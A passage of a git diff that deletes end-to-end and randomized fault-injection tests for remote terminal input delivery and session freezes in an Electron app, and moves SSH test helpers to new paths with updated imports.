`headed-paired-writable-${Date.now()}` - const sent = await callClient<{ send: { accepted: boolean } }>(client.page, 'terminal.send', { - terminal: freshFocused.terminal.handle, - text: `${marker}\n` - }) - expect(sent.send.accepted).toBe(true) - await expect - .poll( - () => - existsSync(inputMarkerPath) - ? readFileSync(inputMarkerPath, 'utf8').includes(marker) - : false, - { timeout: 15_000 } - ) - .toBe(true) - - const unrelatedMarker = `unrelated-survived-${Date.now()}` - const unrelatedSent = await callClient<{ send: { accepted: boolean } }>( - client.page, - 'terminal.send', - { - terminal: unrelatedTerminal.handle, - text: `${unrelatedMarker}\n` - } - ) - expect(unrelatedSent.send.accepted).toBe(true) - await expect - .poll( - () => - existsSync(unrelatedMarkerPath) - ? readFileSync(unrelatedMarkerPath, 'utf8').includes(unrelatedMarker) - : false, - { timeout: 15_000 } - ) - .toBe(true) - - const finalTerminals = await listTerminals(client.page, session.worktreeId) - expect(finalTerminals.map((terminal) => terminal.handle)).toContain(unrelatedTerminal.handle) - expect((await readClientMirror(client.page, session.worktreeId)).tabIds).toContain( - unrelatedWebTabId - ) - expect(resumeBackground.mirror.activeTabId).toBe(resumeFocused.mirror.activeTabId) - const fixturePids = readAgentSpawnPids() - expect(fixturePids).toHaveLength(5) - expect(new Set(fixturePids).size).toBe(5) - expect(fixturePids.every(isProcessAlive)).toBe(true) - const fixturePtyIds = finalTerminals - .map((terminal) => terminal.ptyId) - .filter((ptyId): ptyId is string => Boolean(ptyId)) - const retiredHostTabIds = [ - unrelatedCreated.tab.parentTabId, - ...[legacy, freshFocused, freshBackground, resumeFocused, resumeBackground].map( - ({ terminal }) => terminal.tabId - ) - ] - const retiredWebTabIds = retiredHostTabIds.map(toWebTerminalSurfaceTabId) - - await callClient(client.page, 'terminal.stop', { - worktree: `id:${session.worktreeId}` - }) - await expect - .poll(() => listTerminals(client.page, session.worktreeId), { timeout: 15_000 }) - .toEqual([]) - await expect - .poll( - () => - orcaPage.evaluate( - async (ptyIds) => - (await window.api.pty.listSessions()) - .map((session) => session.id) - .filter((ptyId) => ptyIds.includes(ptyId)), - fixturePtyIds - ), - { timeout: 15_000 } - ) - .toEqual([]) - await expect - .poll( - async () => { - const tabs = await callClient<{ tabs: { parentTabId?: string }[] }>( - client.page, - 'session.tabs.list', - { worktree: `id:${session.worktreeId}` } - ) - return tabs.tabs - .map((tab) => tab.parentTabId) - .filter((tabId) => tabId && retiredHostTabIds.includes(tabId)) - }, - { timeout: 15_000 } - ) - .toEqual([]) - await expect - .poll( - async () => - (await readClientMirror(client.page, session.worktreeId)).tabIds.filter((tabId) => - retiredWebTabIds.includes(tabId) - ), - { timeout: 15_000 } - ) - .toEqual([]) - await expect - .poll( - async () => - (await readRenderedTabOrder(client.page)).filter((tabId) => - retiredWebTabIds.includes(tabId) - ), - { timeout: 15_000 } - ) - .toEqual([]) - await expect.poll(() => fixturePids.filter(isProcessAlive), { timeout: 15_000 }).toEqual([]) - } finally { - if (cleanupWorktreeId) { - await callClient(client.page, 'terminal.stop', { - worktree: `id:${cleanupWorktreeId}` - }).catch(() => undefined) - } - await client.dispose() - } -}) diff --git a/tests/e2e/remote-session-bulk-open-freeze-repro.spec.ts b/tests/e2e/remote-session-bulk-open-freeze-repro.spec.ts deleted file mode 100644 index 9a2427574a2..00000000000 --- a/tests/e2e/remote-session-bulk-open-freeze-repro.spec.ts +++ /dev/null @@ -1,173 +0,0 @@ -// R1: measure renderer timer drift while a headless paired host floods hidden sessions and the desktop bulk-opens worktrees/tabs. -// Soft/hard freeze thresholds are 2.5s/5s; run pnpm run test:e2e:remote-bulk-open-freeze. -import path from 'node:path' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - launchPairedWebClient, - type PairedElectronClient, - type PairedWebClient -} from './helpers/paired-electron-client' -import { - HARD_FREEZE_LAG_MS, - runBulkOpenFreezeOracle, - seedBulkOpenRemoteSessions, - SOFT_FREEZE_LAG_MS -} from './helpers/remote-session-bulk-open-oracle' -import { - runHostFocusStorm, - seedHostFocusStormSessions -} from './helpers/terminal-host-focus-storm-oracle' - -const REPORT_DIR = path.join(process.cwd(), 'test-results', 'freeze-repro') -const USE_DESKTOP_PAIR = process.env.ORCA_E2E_FREEZE_DESKTOP_PAIR === '1' - -test('paired client host-focus storm keeps the latest terminal @freeze-repro', async ({ - orcaPage -}, testInfo) => { - test.setTimeout(180_000) - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const client = await launchPairedElectronClient(offer, testInfo, 'focus-storm') - let disposeSessions: (() => Promise) | null = null - try { - const worktreeId = await orcaPage.evaluate(() => { - const id = window.__store?.getState().activeWorktreeId - if (!id) { - throw new Error('headed host has no active worktree') - } - return id - }) - const environmentId = await client.page.evaluate(async () => { - const environment = (await window.api.runtimeEnvironments.list())[0] - if (!environment) { - throw new Error('paired client has no runtime environment') - } - return environment.id - }) - await expect - .poll( - () => - client.page.evaluate( - (id) => - window.__store - ?.getState() - .allWorktrees() - .some((worktree) => worktree.id === id) ?? false, - worktreeId - ), - { timeout: 30_000 } - ) - .toBe(true) - const seeded = await seedHostFocusStormSessions(client.page, worktreeId, 6, environmentId) - disposeSessions = seeded.dispose - const results = await runHostFocusStorm(client.page, seeded.sessions, environmentId) - const latest = results.at(-1) - const expected = seeded.sessions.at(-1) - expect(latest).toMatchObject({ - handle: expected?.terminal, - worktreeId, - navigated: true - }) - expect(results.slice(0, -1).some((result) => result.navigated === false)).toBe(true) - await expect - .poll( - () => - orcaPage.evaluate((id) => { - const state = window.__store?.getState() - return { - worktreeId: state?.activeWorktreeId ?? null, - tabId: state?.activeTabIdByWorktree[id] ?? state?.activeTabId ?? null - } - }, worktreeId), - { timeout: 30_000 } - ) - .toEqual({ worktreeId, tabId: latest?.tabId }) - } finally { - await disposeSessions?.() - await client.dispose() - } -}) - -test('R1 paired remote bulk-open freeze oracle @freeze-repro', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(420_000) - const host = await launchHeadlessPairedRuntimeHost() - let webClient: PairedWebClient | undefined - let desktopClient: PairedElectronClient | undefined - let disposeSessions: (() => Promise) | null = null - try { - const added = await host.client.call<{ repo: { id: string } }>('repo.add', { - path: testRepoPath, - kind: 'git' - }) - await expect - .poll( - async () => { - const listed = await host.client.call<{ totalCount: number }>('worktree.list', { - repo: `id:${added.result.repo.id}` - }) - return listed.result.totalCount - }, - { timeout: 30_000 } - ) - .toBeGreaterThan(0) - - // Prefer full desktop pair when web-client store hydration is flaky in this env. - const page = await (async () => { - if (USE_DESKTOP_PAIR) { - desktopClient = await launchPairedElectronClient(host.offer, testInfo, 'freeze-r1') - return desktopClient.page - } - webClient = await launchPairedWebClient(host.app, host.offer, { - terminalParkingDelayMs: 500 - }) - return webClient.page - })() - - await page.waitForFunction(() => Boolean(window.__store), null, { timeout: 60_000 }) - await expect - .poll(() => page.evaluate(() => window.__store?.getState().allWorktrees().length ?? 0), { - timeout: 90_000 - }) - .toBeGreaterThan(0) - - const seeded = await seedBulkOpenRemoteSessions(page, { - repoId: added.result.repo.id - }) - disposeSessions = seeded.dispose - - const report = await runBulkOpenFreezeOracle(page, seeded.sessions, { - topology: 'paired-remote-server', - versionHint: process.env.npm_package_version ?? '1.4.163-rc.3', - reportDir: REPORT_DIR - }) - - console.log('[freeze-repro R1]', JSON.stringify(report, null, 2)) - - if (report.hardFreeze) { - throw new Error( - `HARD FREEZE signal: bulkOpenMaxLagMs=${report.bulkOpenMaxLagMs.toFixed(0)} ` + - `interactionProbeMs=${report.interactionProbeMs.toFixed(0)} ` + - `(threshold ${HARD_FREEZE_LAG_MS}ms). notes=${report.notes.join('; ')}` - ) - } - if (report.softFreeze) { - throw new Error( - `SOFT FREEZE signal: bulkOpenMaxLagMs=${report.bulkOpenMaxLagMs.toFixed(0)} ` + - `interactionProbeMs=${report.interactionProbeMs.toFixed(0)} ` + - `(threshold ${SOFT_FREEZE_LAG_MS}ms). notes=${report.notes.join('; ')}` - ) - } - - expect(report.sessionCount).toBeGreaterThanOrEqual(8) - expect(report.worktreeCount).toBe(3) - } finally { - await disposeSessions?.() - await webClient?.dispose() - await desktopClient?.dispose() - await host.dispose() - } -}) diff --git a/tests/e2e/remote-terminal-input-delivery-model.unit.test.ts b/tests/e2e/remote-terminal-input-delivery-model.unit.test.ts deleted file mode 100644 index 2c614dd1ed2..00000000000 --- a/tests/e2e/remote-terminal-input-delivery-model.unit.test.ts +++ /dev/null @@ -1,487 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { - createModelLink, - MODEL_TERMINAL_HANDLE, - type ModelLinkMode -} from './remote-terminal-input-model-link' -import { resetRemoteRuntimeTerminalMultiplexersForTests } from '../../src/renderer/src/runtime/hosted-terminals/streams/registry/remote-runtime-terminal-multiplexer-registry' -import { createRemoteRuntimePtyTransport } from '../../src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport' -import { iterateTerminalInputChunks } from '../../src/shared/terminal/input/terminal-input' - -// Exercise real transport/multiplexer/journal → host dispatcher/ledger across lossy, buffered, late-delivered frames, refused writes and runtime restarts. -// Require remaining input exactly once/in order; withdrawn bytes may arrive only if already handed off, and healthy links must settle without resends. - -const SCHEDULES_PER_BLOCK = 250 -const BLOCKS = 8 -const STEPS_PER_SCHEDULE = 60 -const BASE_SEED = 0x5eed_2663 - -type Op = { - id: number - text: string - // Required ops must arrive whole; optional ones may arrive whole, as a chunk prefix, or not at all. - status: 'required' | 'optional' | 'forbidden' - accepted: Promise | null - result: boolean | 'pending' - controller: AbortController | null -} - -type WriteFault = 'accept' | 'refuse' | 'unhanded' | 'unknown-written' | 'unknown-lost' | 'throw' - -type Stats = { - schedules: number - steps: number - ops: number - cancelled: number - cancelledForbidden: number - restarts: number - disconnects: number - zombieFlushes: number - gaveUp: number - faults: Record - ptyBytes: number -} - -function mulberry32(seed: number): () => number { - let state = seed >>> 0 - return () => { - state = (state + 0x6d2b79f5) >>> 0 - let t = state - t = Math.imul(t ^ (t >>> 15), t | 1) - t ^= t + Math.imul(t ^ (t >>> 7), t | 61) - return ((t ^ (t >>> 14)) >>> 0) / 4294967296 - } -} - -const MARKER = /\{(\d+)\}/g - -function markersIn(text: string): number[] { - return Array.from(text.matchAll(MARKER), (match) => Number(match[1])) -} - -function track(op: Op, accepted: Promise | undefined): void { - op.accepted = accepted ?? null - void accepted?.then((value) => { - op.result = value - }) -} - -type ModelLink = ReturnType - -function attachModelPane( - link: ModelLink, - environmentId: string, - callbacks: Parameters< - ReturnType['attach'] - >[0]['callbacks'] -): ReturnType { - const call = async (request: { method: string }) => - request.method === 'terminal.resolvePane' - ? { - ok: true, - result: { - terminal: { - handle: MODEL_TERMINAL_HANDLE, - tabId: 'tab-1', - leafId: 'pane:1', - worktreeId: 'wt-1' - } - } - } - : { ok: true, result: { terminal: { handle: MODEL_TERMINAL_HANDLE } } } - - vi.stubGlobal('window', { - api: { runtimeEnvironments: { call, subscribe: link.subscribe } }, - location: { search: '' } - }) - const transport = createRemoteRuntimePtyTransport(environmentId, { - worktreeId: 'wt-1', - tabId: 'tab-1', - leafId: 'pane:1' - }) - transport.attach({ - existingPtyId: `remote:${MODEL_TERMINAL_HANDLE}`, - cols: 80, - rows: 24, - callbacks - }) - return transport -} - -async function runSchedule(seed: number, stats: Stats): Promise { - const random = mulberry32(seed) - const pick = (items: readonly T[]): T => items[Math.floor(random() * items.length)] - const chance = (p: number): boolean => random() < p - const ops: Op[] = [] - const ptyWrites: string[] = [] - const reachedHost = new Set() - const sentByClient = new Set() - let inputFramesSent = 0 - const faultWeights: [WriteFault, number][] = [ - ['accept', 1], - ['refuse', random() * 0.3], - ['unhanded', random() * 0.15], - ['unknown-written', random() * 0.05], - ['unknown-lost', random() * 0.05], - ['throw', random() * 0.03] - ] - let faultsEnabled = true - - const opById = (id: number): Op | undefined => ops[id] - // Why only whole-op writes may be lost: a lost middle chunk would leave a hole no oracle can name. - const isWholeOps = (text: string): boolean => { - const ids = markersIn(text) - return ids.length > 0 && ids.map((id) => opById(id)?.text ?? '').join('') === text - } - const chooseFault = (text: string): WriteFault => { - if (!faultsEnabled) { - return 'accept' - } - const total = faultWeights.reduce((sum, [, weight]) => sum + weight, 0) - let roll = random() * total - for (const [fault, weight] of faultWeights) { - roll -= weight - if (roll < 0) { - return fault === 'unknown-lost' && !isWholeOps(text) ? 'unknown-written' : fault - } - } - return 'accept' - } - - const link = createModelLink(async (text) => { - const fault = chooseFault(text) - stats.faults[fault] += 1 - if (fault === 'refuse') { - return { - accepted: false, - writeSettlement: { - outcome: 'refused', - reason: 'endpoint_awaiting_recovery' - } - } - } - if (fault === 'unhanded') { - return { - accepted: false, - writeSettlement: { - outcome: 'unverifiable', - reason: 'transport_settlement_lost', - bytesHandedToTransport: false - } - } - } - if (fault === 'unknown-lost' || (fault === 'throw' && isWholeOps(text))) { - // The provider handed the bytes off and lost them: never resent, so the pane may miss them. - for (const id of markersIn(text)) { - const op = opById(id) - if (op && op.status === 'required') { - op.status = 'optional' - } - } - } else { - ptyWrites.push(text) - } - if (fault === 'throw') { - throw new Error('ssh channel write failed') - } - return fault === 'accept' - ? { accepted: true, writeSettlement: { outcome: 'accepted' } } - : { - accepted: false, - writeSettlement: { - outcome: 'unverifiable', - reason: 'transport_settlement_lost', - bytesHandedToTransport: true - } - } - }) - link.random = random - link.onClientInput = (text) => { - inputFramesSent += 1 - markersIn(text).forEach((id) => sentByClient.add(id)) - } - link.onHostInput = (text) => markersIn(text).forEach((id) => reachedHost.add(id)) - - let disconnected = false - const transport = attachModelPane(link, `env-model-${seed}`, { - onRecoveryStateChange: (state) => { - disconnected = state.phase === 'disconnected' - if (disconnected) { - stats.gaveUp += 1 - // After recovery gives up, drop unapplied input; only already-buffered connection bytes may still arrive. - const applied = ptyWrites.join('') - for (const op of ops) { - if (op.status === 'required' && !applied.includes(op.text)) { - op.status = 'optional' - } - } - } - } - }) - await vi.advanceTimersByTimeAsync(50) - expect(transport.isConnected()).toBe(true) - - const newOp = (body: string): Op => { - const op: Op = { - id: ops.length, - text: `{${ops.length}}${body}`, - // Why forbidden: input typed into a pane that gave up must never run at a later reconnect. - status: disconnected ? 'forbidden' : 'required', - accepted: null, - result: 'pending', - controller: null - } - ops.push(op) - stats.ops += 1 - return op - } - const withdraw = (op: Op): void => { - op.controller?.abort() - stats.cancelled += 1 - // Why: bytes already at the host, or buffered on a link that may still deliver them, cannot be recalled. - const reachable = - reachedHost.has(op.id) || - link.heldInputTexts().some((text) => markersIn(text).includes(op.id)) - op.status = reachable ? 'optional' : 'forbidden' - if (!reachable) { - stats.cancelledForbidden += 1 - } - } - - const actions: [number, () => void][] = [ - [ - 8, - () => transport.sendInput(newOp(pick(['ls', 'cd', 'echo x\r', 'a', '\x7f'])).text, 'driving') - ], - [ - 2, - () => { - const op = newOp('\x03') - track(op, transport.sendInputAccepted?.(op.text, 'driving')) - } - ], - [ - 3, - () => { - const size = chance(0.15) - ? 16 * 1024 + Math.floor(random() * 24 * 1024) - : 1 + Math.floor(random() * 3000) - const op = newOp(`${'p'.repeat(size)};`) - op.controller = new AbortController() - track( - op, - transport.sendInputAccepted?.(op.text, 'driving', { - signal: op.controller.signal - }) - ) - } - ], - [ - 1, - () => { - const pending = ops.filter((op) => op.controller && op.result === 'pending') - if (pending.length > 0) { - withdraw(pick(pending)) - } - } - ], - [ - 2, - () => { - const mode: ModelLinkMode = pick(['hold', 'drop']) - link.toHost = chance(0.8) ? mode : link.toHost - link.toClient = chance(0.8) ? mode : link.toClient - } - ], - [1, () => link.heal()], - [1, () => (link.ackLoss = chance(0.5) ? random() * 0.5 : 0)], - [ - 2, - () => { - stats.disconnects += 1 - link.disconnect() - } - ], - [ - 1, - () => { - stats.zombieFlushes += link.zombieCount > 0 ? 1 : 0 - link.flushZombie() - } - ], - [1, () => link.retireZombies()], - [1, () => (link.unreachable = chance(0.5))], - [ - 0.3, - () => { - stats.restarts += 1 - const applied = ptyWrites.join('') - for (const op of ops) { - // Why: a restarted runtime cannot dedupe, so unacked input the pane already sent is dropped. - if (op.status === 'required' && sentByClient.has(op.id) && !applied.includes(op.text)) { - op.status = 'optional' - } - } - link.restartHost() - } - ] - ] - const totalWeight = actions.reduce((sum, [weight]) => sum + weight, 0) - for (let step = 0; step < STEPS_PER_SCHEDULE; step += 1) { - let roll = random() * totalWeight - for (const [weight, action] of actions) { - roll -= weight - if (roll < 0) { - action() - break - } - } - stats.steps += 1 - await vi.advanceTimersByTimeAsync(chance(0.1) ? 2000 + random() * 20_000 : random() * 400) - } - - faultsEnabled = false - link.unreachable = false - link.ackLoss = 0 - link.heal() - if (chance(0.5)) { - link.flushZombie() - } - link.retireZombies() - for (let round = 0; round < 12 && !transport.isConnected(); round += 1) { - transport.retryRecovery?.() - await vi.advanceTimersByTimeAsync(10_000) - } - await vi.advanceTimersByTimeAsync(60_000) - expect(transport.isConnected()).toBe(true) - - const unsettled = ops.filter((op) => op.accepted && op.result === 'pending').map((op) => op.id) - expect(unsettled, `seed ${seed} accepted writes never settled`).toEqual([]) - const sentBefore = inputFramesSent - const writesBefore = ptyWrites.length - await vi.advanceTimersByTimeAsync(60_000) - expect(inputFramesSent, `seed ${seed} kept resending after recovery`).toBe(sentBefore) - expect(ptyWrites.length).toBe(writesBefore) - - const arrived = checkPty(ptyWrites.join(''), ops, seed) - for (const op of ops) { - if (op.result === true && !arrived.has(op.id)) { - expect(arrived.has(op.id), `seed ${seed} op ${op.id} reported applied`).toBe(true) - } - } - stats.ptyBytes += ptyWrites.join('').length - stats.schedules += 1 - transport.destroy?.() - link.dispose() - vi.unstubAllGlobals() - resetRemoteRuntimeTerminalMultiplexersForTests() -} - -/** Walks the PTY bytes against the ops in the order they were typed. */ -function checkPty(pty: string, ops: readonly Op[], seed: number): Set { - const arrived = new Set() - let position = 0 - for (const op of ops) { - const where = (): string => - `seed ${seed} op ${op.id} (${op.status}) at ${position}: ${JSON.stringify(pty.slice(position, position + 40))}` - if (pty.startsWith(op.text, position)) { - if (op.status === 'forbidden') { - expect(op.status, where()).not.toBe('forbidden') - } - arrived.add(op.id) - position += op.text.length - continue - } - if (op.status === 'required') { - throw new Error(`missing or out of order: ${where()}`) - } - if (op.status === 'optional') { - // A withdrawn chunked paste or a restart can cut it after a whole chunk. - let prefix = '' - for (const chunk of iterateTerminalInputChunks(op.text)) { - if (!pty.startsWith(prefix + chunk, position)) { - break - } - prefix += chunk - } - position += prefix.length - } - } - if (position !== pty.length) { - throw new Error( - `unexpected PTY bytes: seed ${seed} at ${position}: ${JSON.stringify(pty.slice(position, position + 60))}` - ) - } - return arrived -} - -describe('remote terminal input delivery model', () => { - const stats: Stats = { - schedules: 0, - steps: 0, - ops: 0, - cancelled: 0, - cancelledForbidden: 0, - restarts: 0, - disconnects: 0, - zombieFlushes: 0, - gaveUp: 0, - faults: { - accept: 0, - refuse: 0, - unhanded: 0, - 'unknown-written': 0, - 'unknown-lost': 0, - throw: 0 - }, - ptyBytes: 0 - } - - beforeEach(() => { - vi.useFakeTimers() - }) - afterEach(() => { - vi.useRealTimers() - vi.unstubAllGlobals() - resetRemoteRuntimeTerminalMultiplexersForTests() - }) - - for (let block = 0; block < BLOCKS; block += 1) { - it(`delivers every kept input exactly once, in order, across random faults (block ${block})`, async () => { - for (let index = 0; index < SCHEDULES_PER_BLOCK; index += 1) { - await runSchedule(BASE_SEED + block * SCHEDULES_PER_BLOCK + index, stats) - } - }, 120_000) - } - - it('falls back to a remount when the host keeps refusing input after every fault has cleared', async () => { - const ptyWrites: string[] = [] - let refusing = false - const link = createModelLink(async (text) => { - if (refusing) { - // A stale handle or an unwritable PTY behind a stream that stays open. - return { - accepted: false, - writeSettlement: { outcome: 'refused', reason: 'terminal_not_writable' } - } - } - ptyWrites.push(text) - return { accepted: true, writeSettlement: { outcome: 'accepted' } } - }) - const onWriteUnavailable = vi.fn() - const transport = attachModelPane(link, 'env-model-refusing', { onWriteUnavailable }) - await vi.advanceTimersByTimeAsync(50) - transport.sendInput('ls\r', 'driving') - await vi.advanceTimersByTimeAsync(50) - expect(ptyWrites).toEqual(['ls\r']) - refusing = true - transport.sendInput('pwd\r', 'driving') - await vi.advanceTimersByTimeAsync(10_000) - expect(onWriteUnavailable).not.toHaveBeenCalled() - await vi.advanceTimersByTimeAsync(20_000) - expect(onWriteUnavailable).toHaveBeenCalledTimes(1) - expect(ptyWrites).toEqual(['ls\r']) - transport.destroy?.() - link.dispose() - }) -}) diff --git a/tests/e2e/ssh-orcad-editor-watch-recovery.spec.ts b/tests/e2e/remote/managed-ssh/file-lifecycle/ssh-orcad-editor-watch-recovery.spec.ts similarity index 95% rename from tests/e2e/ssh-orcad-editor-watch-recovery.spec.ts rename to tests/e2e/remote/managed-ssh/file-lifecycle/ssh-orcad-editor-watch-recovery.spec.ts index 1faae5c3901..58f1e744368 100644 --- a/tests/e2e/ssh-orcad-editor-watch-recovery.spec.ts +++ b/tests/e2e/remote/managed-ssh/file-lifecycle/ssh-orcad-editor-watch-recovery.spec.ts @@ -1,13 +1,14 @@ import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { serverCall } from './helpers/orcad-convert-flow' +import { test } from '../../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { serverCall } from '../host-lifecycle/orcad-convert-flow' import { activateManagedWorkspace, launchConvertedProfile, relaunchManagedApp, skipUnlessManagedDockerHost, withManagedHost -} from './helpers/orcad-managed-workspace' +} from '../host-lifecycle/orcad-managed-workspace' skipUnlessManagedDockerHost() diff --git a/tests/e2e/ssh-orcad-explorer-watch-recovery.spec.ts b/tests/e2e/remote/managed-ssh/file-lifecycle/ssh-orcad-explorer-watch-recovery.spec.ts similarity index 93% rename from tests/e2e/ssh-orcad-explorer-watch-recovery.spec.ts rename to tests/e2e/remote/managed-ssh/file-lifecycle/ssh-orcad-explorer-watch-recovery.spec.ts index 3db1ac85c70..ed1597ff010 100644 --- a/tests/e2e/ssh-orcad-explorer-watch-recovery.spec.ts +++ b/tests/e2e/remote/managed-ssh/file-lifecycle/ssh-orcad-explorer-watch-recovery.spec.ts @@ -1,14 +1,15 @@ import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { serverCall } from './helpers/orcad-convert-flow' +import { test } from '../../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { serverCall } from '../host-lifecycle/orcad-convert-flow' import { activateManagedWorkspace, launchConvertedProfile, relaunchManagedApp, skipUnlessManagedDockerHost, withManagedHost -} from './helpers/orcad-managed-workspace' -import { folderWorkspaceKey } from '../../src/shared/workspace/identity/workspace-scope' +} from '../host-lifecycle/orcad-managed-workspace' +import { folderWorkspaceKey } from '../../../../../src/shared/workspace/identity/workspace-scope' skipUnlessManagedDockerHost() diff --git a/tests/e2e/helpers/docker-ssh-host-image.ts b/tests/e2e/remote/managed-ssh/host-lifecycle/docker-ssh-host-image.ts similarity index 100% rename from tests/e2e/helpers/docker-ssh-host-image.ts rename to tests/e2e/remote/managed-ssh/host-lifecycle/docker-ssh-host-image.ts diff --git a/tests/e2e/helpers/docker-ssh-host-target.ts b/tests/e2e/remote/managed-ssh/host-lifecycle/docker-ssh-host-target.ts similarity index 98% rename from tests/e2e/helpers/docker-ssh-host-target.ts rename to tests/e2e/remote/managed-ssh/host-lifecycle/docker-ssh-host-target.ts index c76e5d95072..1c45ca07662 100644 --- a/tests/e2e/helpers/docker-ssh-host-target.ts +++ b/tests/e2e/remote/managed-ssh/host-lifecycle/docker-ssh-host-target.ts @@ -4,7 +4,7 @@ import { mkdtempSync, readFileSync, rmSync } from 'node:fs' import os from 'node:os' import path from 'node:path' import { getDockerSshHostImage } from './docker-ssh-host-image' -import { quotePosixShell } from '../../../src/shared/shell/launch/shell-argument-quoting' +import { quotePosixShell } from '../../../../../src/shared/shell/launch/shell-argument-quoting' import type { TestInfo } from '@stablyai/playwright-test' diff --git a/tests/e2e/helpers/orcad-convert-flow.ts b/tests/e2e/remote/managed-ssh/host-lifecycle/orcad-convert-flow.ts similarity index 95% rename from tests/e2e/helpers/orcad-convert-flow.ts rename to tests/e2e/remote/managed-ssh/host-lifecycle/orcad-convert-flow.ts index 1df69683b82..2e9d9eb245b 100644 --- a/tests/e2e/helpers/orcad-convert-flow.ts +++ b/tests/e2e/remote/managed-ssh/host-lifecycle/orcad-convert-flow.ts @@ -1,8 +1,9 @@ import type { Page } from '@stablyai/playwright-test' -import { expect } from './orca-app' -import { readPersistedProfileState } from './persisted-profile-state' -import { findOrcadMigrationSourceCutoverForTarget } from '../../../src/main/persistence/migrating-orcad-catalog/cutover-journals/orcad-migration-cutover-journal' -import { RuntimeClient } from '../../../src/cli/runtime/client' +import '../../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { readPersistedProfileState } from '../../../desktop/electron-fixtures/persisted-profile-state' +import { findOrcadMigrationSourceCutoverForTarget } from '../../../../../src/main/persistence/migrating-orcad-catalog/cutover-journals/orcad-migration-cutover-journal' +import { RuntimeClient } from '../../../../../src/cli/runtime/client' const CONVERT_TIMEOUT_MS = 8 * 60_000 diff --git a/tests/e2e/helpers/orcad-convert-host.ts b/tests/e2e/remote/managed-ssh/host-lifecycle/orcad-convert-host.ts similarity index 94% rename from tests/e2e/helpers/orcad-convert-host.ts rename to tests/e2e/remote/managed-ssh/host-lifecycle/orcad-convert-host.ts index 7e808526c33..bb2875b4b18 100644 --- a/tests/e2e/helpers/orcad-convert-host.ts +++ b/tests/e2e/remote/managed-ssh/host-lifecycle/orcad-convert-host.ts @@ -2,8 +2,8 @@ import { execFileSync } from 'node:child_process' import { readFileSync } from 'node:fs' import type { TestInfo } from '@stablyai/playwright-test' -import type { SshTargetCreateInput } from '../../../src/shared/remote-runtime/ssh/ssh-types' -import { parseWindowsHostCellDescriptor } from '../../../src/main/ssh/hostile-host-test-support/ssh-windows-host-cells' +import type { SshTargetCreateInput } from '../../../../../src/shared/remote-runtime/ssh/ssh-types' +import { parseWindowsHostCellDescriptor } from '../../../../../src/main/ssh/hostile-host-test-support/ssh-windows-host-cells' import { blockDockerSshHostTargetTcpForwarding, cleanupDockerSshHostTarget, diff --git a/tests/e2e/helpers/orcad-managed-workspace.ts b/tests/e2e/remote/managed-ssh/host-lifecycle/orcad-managed-workspace.ts similarity index 90% rename from tests/e2e/helpers/orcad-managed-workspace.ts rename to tests/e2e/remote/managed-ssh/host-lifecycle/orcad-managed-workspace.ts index a51e69c531b..10c6e746f0c 100644 --- a/tests/e2e/helpers/orcad-managed-workspace.ts +++ b/tests/e2e/remote/managed-ssh/host-lifecycle/orcad-managed-workspace.ts @@ -1,17 +1,21 @@ // Drive conversion through a saved Docker SSH profile, then exercise managed-terminal journeys through production UI paths. import type { ElectronApplication, Page, TestInfo } from '@stablyai/playwright-test' -import { expect, test } from './orca-app' -import { createRestartSession } from './orca-restart' -import type { LaunchOptions } from './orca-restart-launch-options' +import { test } from '../../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { createRestartSession } from '../../../desktop/electron-fixtures/orca-restart' +import type { LaunchOptions } from '../../../desktop/electron-fixtures/orca-restart-launch-options' import { startOrcadConvertHost, type OrcadConvertHost } from './orcad-convert-host' import { seedRelayEraProfile, type RelayEraProfile } from './orcad-upgrade-profile' import { convertAndRetain } from './orcad-convert-flow' -import { readPairedPaneContent } from './paired-host-terminal' -import { waitForSessionReady, waitForStartupWorktreeRefresh } from './store' -import { dismissTransientAnnouncement } from './ssh-config-host-picker' -import { focusActiveTerminalInput } from './terminal' -import { toRuntimeExecutionHostId } from '../../../src/shared/execution-host/execution-host' -import { getManagedOrcadSshTargetId } from '../../../src/shared/execution-host/managed-orcad-execution-host' +import { readPairedPaneContent } from '../../../terminal/remote-hosts/paired-host-terminal' +import { + waitForSessionReady, + waitForStartupWorktreeRefresh +} from '../../../desktop/renderer-probes/store' +import { dismissTransientAnnouncement } from '../../ssh-hosts/ssh-config-host-picker' +import { focusActiveTerminalInput } from '../../../terminal/input/terminal' +import { toRuntimeExecutionHostId } from '../../../../../src/shared/execution-host/execution-host' +import { getManagedOrcadSshTargetId } from '../../../../../src/shared/execution-host/managed-orcad-execution-host' export const ORCAD_TEMPLATE = process.env.ORCA_E2E_ORCAD_CONVERT_TEMPLATE diff --git a/tests/e2e/orcad-serve-mode-switch.spec.ts b/tests/e2e/remote/managed-ssh/host-lifecycle/orcad-serve-mode-switch.spec.ts similarity index 73% rename from tests/e2e/orcad-serve-mode-switch.spec.ts rename to tests/e2e/remote/managed-ssh/host-lifecycle/orcad-serve-mode-switch.spec.ts index 6b293d727cf..c682e04f867 100644 --- a/tests/e2e/orcad-serve-mode-switch.spec.ts +++ b/tests/e2e/remote/managed-ssh/host-lifecycle/orcad-serve-mode-switch.spec.ts @@ -4,27 +4,33 @@ import { existsSync, mkdtempSync, rmSync } from 'node:fs' import os from 'node:os' import path from 'node:path' import { runProcess } from '@orca/process-host' -import { getDaemonPidPath } from '../../src/main/daemon/launch/daemon-spawner' -import { readDaemonPidRecord } from '../../src/main/daemon/endpoint/identity/daemon-endpoint-incarnation' -import { resolveBundledOrcadRuntime } from '../../src/main/orcad/runtime-launch/orcad-bundled-runtime' -import { ORCAD_EXIT_CONFIGURATION } from '../../src/main/orcad/serve-startup/orcad-configuration-exit' +import { getDaemonPidPath } from '../../../../../src/main/daemon/launch/daemon-spawner' +import { readDaemonPidRecord } from '../../../../../src/main/daemon/endpoint/identity/daemon-endpoint-incarnation' +import { resolveBundledOrcadRuntime 